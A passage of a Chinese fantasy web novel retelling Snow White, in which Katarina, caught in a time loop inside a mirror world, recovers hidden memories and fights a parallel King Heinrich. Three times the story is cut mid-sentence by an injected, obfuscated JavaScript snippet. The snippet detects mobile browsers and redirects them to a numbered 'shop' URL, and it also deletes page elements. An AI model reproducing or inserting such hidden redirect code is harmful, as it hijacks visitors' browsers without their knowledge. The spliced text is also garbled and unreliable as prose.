但就是在最近几个月，她一直没收到他的消息，打电话也不接。过年的时候她回去渔村，才知道叔叔失踪了。 在他失踪前，他发现了当年游轮事故的重要线索，船长的副手与她三叔的公司有债务关系。 为了寻找真相，她带着叔叔整理好的资料回到了小时候生活的城市。 她三叔的女儿刚好需要家庭教师，她以优异的简历面试成功。 爷爷奶奶的死……叔叔的失踪……都不是由于她自己携带厄运，而是有人蓄意为之。 她来到了小时候住的大房子，成为了侄女的家庭教师。 “你要我给你讲白雪公主的故事？”她很惊讶女孩已经六岁，还会听这种幼儿睡前故事。 “你念给我听吧。”女孩将《格林童话》的故事书递给她。 她没有太多犹豫，念故事对她来说是非常熟悉的事情。小时候在福利院，她就已经念过很多次了。 这本书有些旧，不像是这种有钱人家的孩子会看的书。 她从目录找到《白雪公主与七个小矮人》的页码，翻过去，发现都没有拼音标注。 怪不得孩子要让她念，这不是儿童读物，是成人版本。 “很久以前，在一个隆冬的天气里，漫天雪花如鹅毛一般……” 她开始念起来，沉浸在故事里，也沉浸在自己的回忆中…… 55. 白雪公主（8） 卡特琳娜从梦中惊醒，发现自己置身于黑暗之中，极度的恐惧让她屏住呼吸。手腕上的“圣泪”在发烫，冷汗从她后背冒出，将她的破布裙子浸得湿润。 那些回忆如潮水般涌来，让她来不及浮出水面去呼吸。 是的，她从来不是白钰，她只是一个冒名顶替的骗子，正如她伪装成卡特琳娜，现在又伪装成白雪公主。 她从来都没有做过她自己。 她会是谁？ “根本就没有小矮人……”卡特琳娜从床上坐起了身，发现这木屋与当初幽暗森林里的那座极其相似。 木屋中的小椅子、小床、小家具通通是她的幻觉，是她自以为的童话故事的复现。 实际上，这里布满了尘土与蛛网，是仅仅容她安身片刻的废弃之处。 “我的卡特琳娜，北大陆有许多种族，当然也有过小矮人的传说。但那仅仅存在于精灵族的记载当中，他们被认为是精灵族的分支，也被称为深精灵。据记载，小矮人天生抵抗力强，并且擅长使用战斧和战锤，性格极端顽固而又沉默寡言，但非常能喝酒。然而，在创世双城隐匿之后，小矮人的踪迹也在世界上消失。学者推测，他们很可能会在南大陆活动。” 这个知识点卡特琳娜也知道，南大陆与北大陆之间隔着恶魔海湾，被认为是不可穿越的存在。目前他们所称的“世界”，仅仅局限于北大陆和风暴洋的范围。 镜界也与现界一样，南北大陆存在着无法突破的障碍。 七个小矮人在白雪公主的故事里是看起来重要实际上没什么存在感的配角，他们勤劳善良乐于助人，帮助白雪公主在森林里住下，躲避恶毒王后的暗杀。在白雪公主死后，他们还给她打造了水晶棺，痛哭三天三夜引来了好奇的王子。 虽然离高考已经很多年了，但卡特琳娜的阅读理解功底一直没有丧失。她对这个故事有着自己的解读——小矮人象征着普通民众的阶级，白雪公主相当于被仇视的落魄贵族，而恶毒王后则是暴虐的霸权。 整个故事的逻辑也非常现实，普通民众再怎么好心或努力都无法帮助落魄贵族东山再起，最终白雪公主还是要靠另一个霸权“白马王子”才得以翻身，将恶毒王后的势力打压下去。 七个小矮人实在是可有可无，即使他们不存在，也不会对整个故事的进展有太大的影响。 反而…… 玛利亚伪装的猎人更让卡特琳娜在意。匕首本来已经插入了他的心脏，但她用幽灵铠甲将他的灵魂暂时禁闭住。 按实际情况来说，真正的白雪已经死了。 如果他真的将猎杀的鹿的肝脏和肺片带给王后，王后能将其辨别出来吗？而且魔镜也被盗走，她还能利用别的途径，知道世界上最美丽的人是谁？ 卡特琳娜认识到小矮人不存在于当下，立即感受到了这座木屋的诡异。这并不是一间普通的木屋，这里蕴藏着奇异的魔力，与“圣泪”产生了一定程度的共鸣，使得细节处的布局往她想象的方向发展。 她将手覆在“圣泪”之上，现在她已经习惯了“圣泪”作为手镯，但实际上她并不知道它最原始的形象，它肯定不会是一颗金球。 “若你的猜测没有错，这件宝物真的是‘圣泪’，是乌克亚的眼泪，能够将虚幻变化为真实，那有没有可能，我能用它创造出不存在的小矮人？” 卡特琳娜向米洛提出了疑问。 米洛略微顿了几秒，才回答说：“我的卡特琳娜，我不记得我有对你手腕上的首饰进行过猜测，但如果真如你所说它是创世神乌克亚的眼泪化作的至宝，那它便确实有将虚无化作真实的能力。 “但是，这一定是有限度的，因为它仅仅是一滴眼泪，是创世神仿人的分泌物，并不是来源于神骨肉本身。它所幻化的真实，也许是对人心灵的影响，也许是对空间历史的篡改，也许是某种不知名魔法的实现，但都不会是真正的客观的真实。” 米洛这一番话驱散了卡特琳娜心中的迷雾，让她抬起的眼神都开始发亮。 尽管她一时间忘记了这个米洛与之前那个有所差别，但她现在相信她们在某种程度上是同一面镜子。 镜子里会有无穷无尽的反射镜面，会有无穷无尽的米洛。 至少，她不愿意再失去现在陪在她身边的这一个了。 她轻轻挥手，手腕上的“圣泪”化作了一面手持化妆镜，与项链坠的镜面产生了联系，米洛的形象能够暂时现身与化妆镜当中。 卡特琳娜看着镜子里的米洛，感觉就像是自己在照镜子。 是的，她就是在照镜子。 “魔镜啊魔镜……” 这是恶毒王后的经典台词，现在却由“白雪公主”说出口来。 “告诉我，谁是世界上最美丽的人？” 米洛没有任何的犹豫，将她通过严密计算、对比和分析得出的最美丽的人的面庞显示在了镜面上，回答道： “我的卡特琳娜，你就是这世界上最美丽的人。” 穿着破布裙子的她银发银眼，皮肤雪白，嘴唇嫣红，正站在森林里的木屋中。玛利亚已经成为了幽灵骑士，而比恶毒王后更年轻的卡特琳娜，理所当然成为了这世界上最美丽的人。 她笑着，继续说：“我当然是这世界上最美丽的人，我的皮肤比雪还要白，我的眼眸比星辰还要闪耀，我乌木般的黑发是没有尽头的黑色河流。” 随着她的话语，卡特琳娜镜中的形象变成了金眼黑发，服装也变得更居家田园风，虽然五官细节没有太大的变动，但整个人的气质闪耀明媚了很多。 这是她心目中“白雪公主”的样子，既然要扮演，那她希望自己能扮得像一点。 “虽然不能有真实的矮人先生，但还是可以有虚幻的七个小矮人……” 卡特琳娜嘴里念念有词，动用灵力进行镜子召唤魔法。这是镜子魔法的高阶魔法之一，她并不能熟练运用，所以召唤出来的是七个拼接成矮人模样的布偶虚影。她控制他们围绕在自己的身边，组成了这个世界里白雪公主与七个小矮人的画面。 只是拼接的矮人布偶做工粗糙，比当初幽灵卡特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687806|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琳娜缝制的小红帽布偶人还要惊悚许多，令卡特琳娜不忍直视。 矮人是不必要的存在，但却有极强的象征意义。 他们不具有生命，任由卡特琳娜操纵。 她随意捞起其中一个矮人布偶，将手伸入棉花之中，竟然摸到了一个镜子碎片。瞬间，一段失去的记忆出现在她的脑海。 卡特琳娜激动地说：“果然！‘圣泪’是创世神遗留的至宝，它有着抵抗时间循环的力量，它身上的时间不会被重置。这就意味着由它制造的真实是在循环之外的，之前的我也想到了这一点，所以将记忆分割在镜子碎片中，藏进了矮人布偶体内。” 她迫不及待，将矮人布偶一个个抓起来，用他们体内的镜子碎片恢复自己的记忆。 一共七个。 随着记忆的复苏，卡特琳娜的脸色变得越来越惨白。 这个方法有明显的局限性，七个碎片，只能储存七次不同的循环记忆。这些记忆之间甚至是间断的，这意味着不止七次，实际情况肯定比七次更多。 比如，现在她想要把当前循环的记忆储存，就必须清除之前某一次的记忆。 她将这些记忆在化妆镜上播放，希望找到一些线索。 由于来到这个木屋是储存记忆的触发点，所以这七次都是她作为白雪公主身份时才会留存的时间线。其他如玛利亚说的，她没有来到木屋的情况，是没有被记录的。 第一次，她将记忆储存在矮人布偶之中，第二天时空自动重置。 第二次，她在第二天之前将魔镜还回了王后的魔法屋，但在第二天王后伪装成老婆婆给她鞋带的时候，她直接被勒死了，时空重置。 第三次，她还回了魔镜，找到了游荡在森林里幽灵骑士，得知他并没有猎杀小鹿，而是直接将自己的肺叶和肝脏给了王后。但她依然没有办法躲开王后的击杀，时空重置。 第四次、第五次、第六次、第七次…… 卡特琳娜看完了她自己储存的七次记忆，将后续第七次的镜子碎片取出来清除，进行这一次的储存，将镜子碎片放回了矮人布偶的虚影中。 看来她根本没有办法直接与王后进行武力抗衡，除了前三次有不同的发展，后续她都是直接死于鞋带。 但她还是从中总结出了明显的规律：“时空重置的一个触发点是我的死亡，另一个与魔镜有关……” 在第一次她什么都没做的情况下，第二天就自动发生了时空重置，但当她将魔镜还回去之后，时空重置的诱发就变为了她的死亡。 这是极为关键的一点，卡特琳娜没有信心认为这一次循环就是最后一次，但她愿意继续去做不同的尝试，为之后的自己留下更多的线索。 她不再犹豫，通过镜子转移术离开了木屋，迅速回到洛尔兰王宫，将米洛放回之前的封印房间。 “下一次你还会来带走我的对吗？”米洛问道。 “我每一次都会来。”卡特琳娜答应她，“等我打破了这里的循环，最后一次带你离开，就不会再让你回来了。” 56. 白雪公主（9） 虽然卡特琳娜不能完全理解镜界究竟是什么，但她认为镜界是平行时空的一种。 她现在所处的这个镜界，时间线在她之前所在现界的数年之后，她唯一需要搞清楚的是，恶毒王后卡特琳娜是她本人的平行，是幽灵卡特琳娜的平行，还是没有被任何灵魂占据肉身的卡特琳娜*布瑞尔*古奥斯本人的平行。 王后的真实身份，决定了她后面会做的选择。 卡特琳娜将米洛放回被封印时间的房间之后，迅速离开了魔法屋，潜藏在洛尔兰王宫当中。 因为她无法利用王宫内的镜子进行转移，偶尔被宫仆撞见，但他们像是被蒙蔽的眼睛，会称呼她为“玛利亚公主”。即使玛利亚被王后轻视，身份低微，却也是实实在在的公主。 这是“圣泪”力量的体现，它影响了人们的感觉，让他们都认为她是白雪。 甚至于她确认王后不在附近的时候，来到国王的书房，推门而入。 海因里希正坐在书桌前处理公务，见到是她后略有些惊讶，也仅仅是皱眉，唤了一声：“玛利亚，你怎么到这里来了？” 这里的海因里希音色稳重，年长了一些，眼角有着细微的纹路，眼神却更温和平静，整个人的气质更加成熟儒雅。 卡特琳娜不知道该称呼他什么，叫了一声：“陛下。” “有什么事吗？”海因里希放下了手中的笔和文件，看向自己的“女儿”。 卡特琳娜敢肯定，他绝对知道玛利亚遭遇的一切，却放任王后对公主做的事情。在任何人的眼中，这个男人都是极不负责任的父亲。 但为了以防他会有别的原因，她掩上了门，对国王问道：“为什么让我男扮女装活在这世上，仅仅只是为了夜仙女的预言吗？因为她预言范维西家族的第四代男性成员会成为统御北大陆的王者，所以你们隐瞒我的性别，让我像公主一样生活，是为了保护我？那为何不把我送走，让我远离洛尔兰。” 海因里希没想到她会直接这样对他问出来，眼神闪烁，迟疑了很久。他站起身，开始直视卡特琳娜的眼睛，反问： “夜仙女？那是什么？” 卡特琳娜悚然一惊，镜界中竟然不存在夜仙女？ 她沉下声来，像是回答海因里希，也像是回答自己：“夜仙女是十四仙盟的最主要成员之一。十四仙盟有日仙女、夜仙女，以及十二个月每个月的仙女，是拜厄地区神话传说中的人物。但她们的存在没有太多的宗教渲染，更多的是民间故事。 “费里特独立大学最为著名的便是十四仙盟学生会，全部由优秀的女性巫师组成，具有浓厚的神秘色彩。当年夜仙女的预言是费里特王宫的秘辛，具体事件的发生我并不清楚，但那个预言显然是被包括凯特罗琳女王在内的大人物高度重视，甚至传到了洛尔兰。 “也就是因为这个预言，才让你和安娜的儿子不敢以真实的性别示人，不得不伪装成公主活着。” 听完她的话，海因里希没有立即说什么，而是眯起眼睛，将手放在了桌上，问：“你不是玛利亚*范维西，你究竟是谁？” 现在才发现她不是白雪，这个父亲当的真是…… 卡特琳娜忍不住在心里嘀咕着，却也有着某种奇怪的感觉。在她说起十四仙盟的时候，海因里希的表情确实是有变化的，但却不是她意想当中的那种…… 特别是当她提到凯特罗琳女王，他眼里的疑惑最为深重，仿佛她在胡言乱语。 她看到了海因里希身后墙上挂着的地图，上面是整个北大陆已知的领土属地，对拜厄和莫里安的争议地带也有标注。她回忆起了在现界学习过的地理常识，立即瞪大了眼睛。 不一样了，什么都不一样了。 她没有管海因里希的提问，而是冲到了地图面前，看着与她所知略有差异的世界局面，感到不解和疑惑。她伸手想要去拿书架上的书，被海因里希制止。 他抓住了她的手，喝止了她的行动，厉声问：“你还没有回答我的问题？你究竟是谁？！玛利亚又是去了哪里？” “现在拜厄的王是谁？”卡特琳娜反手扭过海因里希的手腕，提出问题来。 海因里希似乎并不像将事情闹大，没有立刻调动宫卫将这个非法入侵的女人捉拿，毕竟玛利亚在洛尔兰王室身份尴尬，他不希望引起妻子的注意。 他默不作声，激活了书房的空间魔法，将这里与外界隔绝。 “我在问你！现在拜厄的王是谁！”卡特琳娜见他没有回应，一时激动，声音大了些。 没想到就在她喊完之后，书房的地面竟然开始结冰，将她的鞋子冻住。 海因里希的冰魔法。 她曾亲眼见过，范维西三世是优秀的剑术师，也精通天灵派魔法，非常擅长利用冰雪的术式，但她没想过，他会与她兵戎相见。 他手中化出一把冰雪长剑，直接向卡特琳娜挥来，“你竟然不知道如今拜厄的王是亨利*古奥斯，说明你根本就不是这个世界的人！你究竟是谁？为何要冒充我的儿子？” 卡特琳娜下腰避开了海因里希的剑势，利用冰的镜子特性将其破碎，俯身一滚靠国王巨大书桌的掩护避开下一次攻击。 她额头开始冒汗，心中震惊不已。 她自然知道亨利*古奥斯是何人，在现界亨利*古奥斯原名亨利*戴维德，是拜厄最有权势的贵族家族成员。他在与凯特罗琳结婚之后，将姓改为了古奥斯，成为了女王的夫君。世人提起亨利，一般称呼为王夫陛下，与王后相对应。 不过，在凯特罗琳之前，并没有女性成为一国之君的先例。按照传统，如果王室没有男性继承人，会由改姓后的入赘女婿成为国王。但继承人只能够在纯血古奥斯后裔中选择，这也是这么多年来古奥斯家族一直是拜厄最高权力者的关键。 看来，在镜界之中，凯特罗琳并没有成为女王，相对应的是她的丈夫亨利成为了国王。同时，在与莫里安的对峙中，拜厄也并不是更占上风，在领土划分方面甚至更不具有优势。 这是为什么？ 卡特琳娜当然知道这个平行世界会与她之前所处的现界有许多不同，但她不认为会差别这么大。不仅未来的时间线出现了离奇的发展，连过去的历史也相当不同…… 在她思考之间，海因里希的剑没有留情，将书桌的一角劈斩下来，直接比着剑尖刺向她。 幸好在到王宫之前，卡特琳娜一路上收集了一些可以用作镜子的物品，这时候派上了用场。 镜子替身魔法！ 海因里希击破了一面镜子，碎片掉落了一地，而卡特琳娜则闪身到了窗边。 她已经暴露了自己不是白雪，还没有暴露真正的身份，现在最好的办法是逃。但她却根本推不开窗户，才意识到海因里希不知道在什么时候将书房进行了封闭，与外界隔绝开来。 这是空间魔法的一种，能够将此处发生的一切仅仅限制在这个空间以内，而不会对外界造成影响，也不会被外界察觉。 不是，海因里希是真的想置她于死地啊？ 还不等卡特琳娜反应，海因里希的剑势再次袭来。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“没错。”卡特琳娜承认了，“我就是从镜子另一面的世界到这里来的卡特琳娜*范维西，我被这里的我自己召唤而来。她召唤我的目的是杀掉你的儿子玛利亚*范维西！她给我的匕首就在我的腰间，上面还残留着玛利亚的血迹。” “什么……”海因里希显然并不相信她的话，手中的剑往内收，将她雪白的脖颈印出一道血痕，“不可能！” “不信你自己去拿！”卡特琳娜咬牙说。 海因里希果然伸手去她腰间摸，却并没有摸到匕首，而是摸到了一面镜子。他立即意识到自己中计，但一回头却发现卡特琳娜消失不见，再一回头手中的镜子也凭空消失。 “既然你自己隔绝了外界，想必是不介意再进入新的空间吧。” 卡特琳娜的声音在海因里希耳边回荡，但他环顾四周，根本找不到她的踪迹。 这是镜子空间魔法，与镜界并不一样，是属于利用镜子映射的虚影制造的局限性小空间。镜子魔法师常常使用镜子空间作为自己的随身储备室，将自己想要携带的物品放置在其中。 卡特琳娜也是情急之下第一次用，没想到效果不错，能把海因里希这样一个大活人关在里面。 她拿着镜子，看着被困在里面的海因里希，摸了摸自己的脖子，上面的血痕以肉眼可见的速度消失。 她长长舒了一口气，但还是不敢完全放下心来。 现在，她该好好跟海因里希来一场坦诚相待的交流了。 57. 白雪公主（10） “我不会伤害你，我只是想跟你和平地沟通。”卡特琳娜一开始就摆明了自己的态度。 她根本不熟悉这个镜子空间魔法，完全是情急之下按照书中所说进行的实践。她能够感觉到镜子空间的不稳定，也许只需要海因里希一次冰雪魔法攻击，空间就能够被破坏，他就能出来。 所以她只能虚张声势，以上位者的姿态警告他：“我就是卡特琳娜本人，你应该知道你不可能敌得过我。” 她的声明果然起效，镜子里的海因里希没有再有什么不规矩的行动，乖乖地坐下来，心平气和地回应：“……你想要沟通什么？” “我说了，我是被这里的我自己召唤来的。”卡特琳娜决心做到真正的坦诚，“我现在陷入了时空循环，一直没有办法结束这个召唤仪式。这里的卡特琳娜总是会将我杀死，导致时空重置，对这件事，你有什么看法吗？” 海因里希沉默了好一会儿，说：“抱歉，这种怪事我并没有听说过。” 卡特琳娜换了一个问题：“那你知道你的王后要杀玛利亚*范维西的原因是什么？难不成真的是嫉妒自己继女比自己长得更漂亮？而且她为什么不亲自去杀，非得要召唤了我来？” 听到她这个问题，海因里希露出了怪异的表情，顿了好几秒钟才回答：“抱歉，我不知道。” 卡特琳娜不禁有些生气，问他还不如去问米洛！虽然米洛也有很多不知道的事情，但至少米洛不会知道却骗她说不知道。 她沉住气，没有直接翻脸，决定改变提问的方式，转而说起自己来：“在我的世界里，你跟我感情非常不好，但在这里，显然我们是一对情投意合的夫妻，你处处维护我，真是令人无比感动。但让我觉得奇怪的是，时间线上发生过的事情有太多不同，比如我那里的拜厄国王是凯特罗琳，而不是亨利*古奥斯。” 在不涉及王后的问题上，海因里希终于能够开口：“你既然是镜子魔法学的巫师，却不知道镜子理论吗？” 卡特琳娜之前与米洛探讨过镜子理论，能够理解平行时空的概念，但显然海因里希对此有自己的理解。 她示意：“请讲。” 海因里希重复了一遍卡特琳娜听过的镜子理论的概念，并告知了一个新颖的观点：“即使是平行时空，也在一定程度上遵循唯一性。镜子的面可以不断反射，是无穷无尽的无极限，但你进入的镜界只会是一个，那个保留你本身唯一性的境界。在你达到境界的那一刻，境界的时间线即受到你的影响，形成了既定的命运轨迹。” 她听得愣住，显然不能立即理解海因里希话中的深层含义。 “我的王后是镜子魔法学的高深巫师，所以我对镜子魔法也有一定的研究，也了解过镜界的一些情况。”海因里希解释道，“你所提到的拜厄国王的改变，是你和我所处世界的最大不同点。这很好解释，你本人在你的世界里即是凯特罗琳成为拜厄女王的决定性因素。由于你并不是这个世界里的人，唯一性在我的王后身上，所以你的缺席导致了凯特罗琳不能成为女王。于此相应的，亨利*古奥斯成为了拜厄国王。” “我怎么可能是凯特罗琳成为拜厄女王的决定性因素？她当上女王的时候我还……” 我还没有穿越到这个世界上。 凯特罗琳登基是在卡特琳娜十四岁的时候，上一任拜厄王因病去世，在往生之前将王位传给了凯特罗琳。 不过，唯一性是这样的逻辑吗？ 卡特琳娜终于意识到她之前的理解有多么浅显，魔法的世界还有很多她需要深入学习的地方。 同时，她发现了海因里希的用词，他本人对镜子魔法有着一定的研究。既然如此，他一定发现了她的魔法的不稳定和粗略。 不过，他称呼王后为“我的王后”，语气亲昵，显然也将类似的感情投射在了与他的王后是同一个人的她身上。 即使她只是一个“镜中人”，但他并不希望她身上的负面经历影响到自己的结发妻子。 所以就算海因里希已经发现了她的魔法破绽，也并没有进一步行动，仅仅是坐在原位，等待她的下一个问题。 卡特琳娜知道他不会回答任何对他的王后不利的问题，便转换了话题，问：“……当初，你与我，也就是你的王后，是怎么认识，怎么结婚的？” 在她的世界里，海因里希是被肯*沙穆挟持，凯特罗琳女王伸出援助之手，让他与卡特琳娜结为了夫妻。这是政治联姻，是相互利用的关系。 海因里希回答说：“我在拜厄皇家学院深造学习，与卡特琳娜相遇。那时候，我在军事政治学院，她在魔法学院授课。我选修了魔法学院的课程，听了她的课程。我们相互吸引，成为恋人。 “毕业后，我向她求婚，我们便在费里特王宫举行婚礼，正式结为夫妻。后来我父亲去世，我带着卡特琳娜回到了洛尔兰，我继承了洛尔兰的王位，而她成为了我的王后。” 真是一段美好的王子公主的童话爱情故事啊。 由于凯特罗琳没有成为女王，拜厄皇家学院也没有改名为费里特独立大学。教皇肯*沙穆没有与女王的王权对抗，莫里安接受了拜厄的割地，所以海因里希能够在和平的环境中与那个卡特琳娜相遇。 但卡特琳娜知道他隐瞒了很多。 她可不相信自己的唯一性能影响他第一次的婚姻，不然玛利亚是从哪里来的？ 她哼笑了一声，追问：“那安娜呢？你的前妻，你的儿子。既然你说夜仙女不存在，那为什么玛利亚要男扮女装隐瞒性别？” 海因里希再次沉默。 卡特琳娜有些控制不住脾气，她不想在跟他耗下去。她一边观察镜子，一边寻找离开这间被封闭的书房的办法，必要时她也会对海因里希下狠手…… “既然你是卡特琳娜的‘镜中人’，让你知道也没什么。” 海因里希思考了很久，终于妥协了，开始交代：“安娜确实是我的前妻。我与她青梅竹马长大，我一直把她当做是亲密的姐姐。她曾是冰雪神教的雪圣女，是纯洁和神圣的象征。 “至于我们为什么结婚，因为我的父亲范维西二世极度渴望复兴冰雪神国。他得到了古老的典籍，其中提到相关的习俗——在远古时期，部落首领会与神的代行者合为一体。 “当时边界战事频发，拜厄害怕洛尔兰会叛变，便要求将第一继承人也就是我送到他们的皇家学院学习。我不得不去，为了保证我信仰的纯洁，我父亲让我与安娜结为了夫妻。我们并没有举行传统的婚礼，甚至没有单独同处一室，我就出发去往费里特。 “那时候我才十四岁，第二年，我在学校收到家乡的来信，说安娜为我生下了孩子。但她是异教徒的身份败露，被秘密处死。这是洛尔兰王室的丑闻，所以对外宣称她是难产而死。” 卡特琳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701477|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娜终于意识到他解释这么一大段话的根本意思：“所以……玛利亚根本就不是你的亲生儿子？” 那就怪不得了，不然他怎么可能对自己的亲儿子那样狠！ “但你并没有解释为什么让玛利亚男扮女装。”卡特琳娜对这个问题相当执着。她之前一直以为玛利亚男扮女装地原因是夜仙女的预言，但既然这里不存在夜仙女，那她之前的猜测显然是错的。 “安娜异教徒身份的败露，就是因为她生下了这个孩子。”海因里希的声音变得很低，他本人似乎也被沉重的回忆折磨着，“我当时不在洛尔兰，并不清楚当时的情况。据我父亲的来信，他知道安娜生下了不属于我血脉的孩子，认为她作为王妃失去了纯洁，便决定秘密处死婴儿。 “可怕的是，只要他杀死婴儿，那婴儿就会重新从安娜的肚子分娩。无论他尝试多少次，都没有办法除掉这个诡异的胎儿。于是，他只能召集了冰雪长老，以冰雪审判，判处了安娜死罪。 “但一个刚出生的婴儿是不可能有任何罪的，他们没有办法杀死他，便只能将他留下。依据冰雪神教的传统，雪圣女的孩子，若是男性，即献祭于冰雪，若是女性，则不得开口言语。既然这个孩子无法被献祭，那就只能让他以女性的身份活着。 “但他极为特殊，他的母亲是雪圣女，又是异教徒。范维西二世不希望他玷污了教会的神圣，并没有完全以雪圣女的标准来养育他，而是将他以女孩的身份放在洛尔兰王宫中。” 天，玛利亚的身世竟然这样离奇？ 卡特琳娜注意到一个关键的问题，范维西二世在杀害玛利亚之后，他又会从安娜的肚子分娩？ 这似乎与她现在所处的情况有些类似…… 也许，这就是玛利亚能一直保留循环记忆的原因。除了他之外，这个世界的其他人都无法在时空重置时保留记忆。 “为什么王后要杀他？”卡特琳娜再一次问了这个问题。 她并不期待海因里希的回答，但他这一次竟然开了口：“是为了我。” “什么？”她疑惑不解。 “虽然马林，对，玛利亚出生后的名字是马林。虽然马林不是我的亲生儿子，但我却还是把他当做了我的儿子。” 海因里希叹了一口气，站起来从书架上抽出一本书，“只是迫于教会的压力，在冰雪长老的注视下，我没有办法真正将他当做公主或王子来优待。我能做到的，只是让他活下去。 “这些年来，臣子、教会一直在给我压力，希望我能和王后生下一个儿子作为洛尔兰的继承人。我身上负载的冰雪之力太多，已经令我身体变得越来越差，再这样下去恐怕会缩减寿命。 “王后不忍心看我受苦，决心为我生下儿子，让继承人替我分担冰雪之力。但王后却流产多次，流出的胎儿连灵魂都不存在，这是个注定不能够出生的孩子。 “前段时间，王后回去了一趟费里特，与她的导师进行了交流。” 海因里希突然抬起了头来，将书中藏着的那面镜子找了出来。他终于能够破解这个简陋的镜子空间魔法。 “无论她做了什么，她都是为了我好。” 说完，海因里希将镜子捏碎，冲破了镜子空间，出现在了卡特琳娜的面前，将她的手腕擒住。 他眼神凛然，声音狠厉： “即使你是她的‘镜中人’，我也不会让你妨碍到她。” 58. 白雪公主（11） 卡特琳娜心道不好，在“海因里希”的冰雪魔法下，她整个人迅速结冰，变得僵硬冰冷。她的四肢被冻结，血液似乎都无法流动，让她感到心脏憋闷，视线模糊。 好在她的大脑还可以思考，她理解了“海因里希”最后几句话的意思—— 王后杀害白雪公主的原因是想要通过他的死亡让自己顺利诞下孩子……也就是说，当初王后给她的那把血红匕首，还有着更复杂的用处。 马林…… 卡特琳娜想起来，当时马林拿走了那把匕首。 “海因里希”在得知她是自己王后的镜中人后，自然不会真正想要她的命，只是将她冻结起来，限制了她的行动和灵力。 他确认卡特琳娜无法再进行反抗后，解开了书房的隔绝效果，想要召宫卫去帮他将消息传达给王后。 但他的手还没有碰到拉动宫铃的线，就有了强烈的危机预感。 书房内部看起来没有放置镜子，实际上却是有隐形的镜面，这是王后作为镜子魔法师对整个王宫设计的布局。她在王宫中的镜子上施加了隐形魔法，寻常的人不会察觉到镜子的存在。 这一瞬间，海因里希察觉到了书房中存在的镜子，他立即意识到王后对镜子施加的隐形魔法失效。 他不敢贸然行动，怕卡特琳娜留有后手，能够趁机逃跑。他想要重新将书房隔绝起来，但他的空间隔绝魔法还没有激活，无数的冰锥便由那面镜子穿刺向他。 他俯身躲避，却突然听到了镜子破碎的声音，一道熟悉的身影出现在他的眼前，令他不由得瞪大了双眼。 卡特琳娜的大脑也由于冰冻而运转速率下降，她还没有意识到发生了什么，只感觉身上冻结的冰开始快速融化。 她由于腿软而站不住，眼看着要栽倒在地。 一只有力的胳膊横在她的后腰，将她托住。她抬起头来看到了熟悉的人，是比刚刚的“海因里希”更年轻更锋利的海因里希。 他从镜子里穿了过来，穿着洛尔兰冬季的铠甲装束，身上落满了寒霜和阴暗的气息，与当前的环境格格不入。 “……里希？”卡特琳娜迷迷糊糊。 上一次见到他，是在离开幽暗森林的时候，她松开了拉住他的手，告诉他让他当自己是死了。 他竟然也来到了镜界？ 他确认了卡特琳娜的身份，将她扶正过来护在身后，手握冰雪审判之剑警惕地看着眼前与自己长得一模一样却似乎年长一些的人。 “我的镜中人？”“海因里希”表情严肃，呼吸迟滞，似乎没想到自己的镜中人也来到了这里。 卡特琳娜能理解他的情绪变化。 如果真如之前他们交流的那样，每个人能够进入的境界是自己所具有唯一性的那个，这边意味着每个人能够进入的境界是不一样的。如果两个人同时进入了同一个镜界的同一个时空幻境，那很有可能说明他们的唯一□□织在了一起，对这个平行世界有着难以预估的影响力。 “海因里希”表情一凛，他绝不能让这两个“镜中人”逃走。他立即拉响了宫铃，并且是连续四声，这是遇袭的警报。 这边的海因里希也知道宫铃信号的含义，知道要不好，拉住了身后卡特琳娜的手。 “海因里希”预料到他们要跳窗而逃，已经使用了强化的冰冻魔法将窗户冻结。即使是与他有着相同能力的镜中人也难以一下子破窗，这样的延误能够让宫卫做好准备冲进来，也让他的王后能发现这里的危机。 “用冰面镜子！”卡特琳娜提醒她身边的海因里希。 冰面在一定程度上有镜子的性质，但往往达不到清晰反射的效果。所以之前卡特琳娜能将冰面破碎掉，却无法利用冰面进行更进一步的高阶魔法。 但如果海因里希能够配合她，将冰雪制造得极其光滑，使其能够清晰反射人像，那她就很有可能使用更多更复杂的镜子魔法了。 海因里希理解领会了她的意思，立即在前面形成了一层冰，将冰面制造得光滑平整。他们两人又刚好站在窗边，书房的隔绝效果消失之后，阳光透过窗户冰层照射进来，光线非常充足。 冰面镜子能够清晰地照出他们的影像，让卡特琳娜的镜子魔法顺利进行。 “抓紧我！”她提醒海因里希。 海因里希紧紧抓住她的手腕，她一头扎进了冰面镜子中，使用了她最擅长的镜子转移术。 “海因里希”也意识到他们要做什么，立即冲过去用冰雪剑破坏冰层，但可惜的是，两人已经消失在了原地，利用镜子魔法成功逃走了。 这时候听到警报的宫卫也已经准备就绪，鱼贯而入，首当其冲的就是骑士团团长安德鲁和天气术士布莱克。 他们护在国王的左右，令其他护卫以书房为中心四处搜索。 “陛下！”他们关心国王的安危。 “海因里希”却顾不上这许多，他心里只有一个人：“王后呢？” 安德鲁回道：“王后陛下午后便去了医疗中心，菲利普为她看诊，这时候应该结束了……” 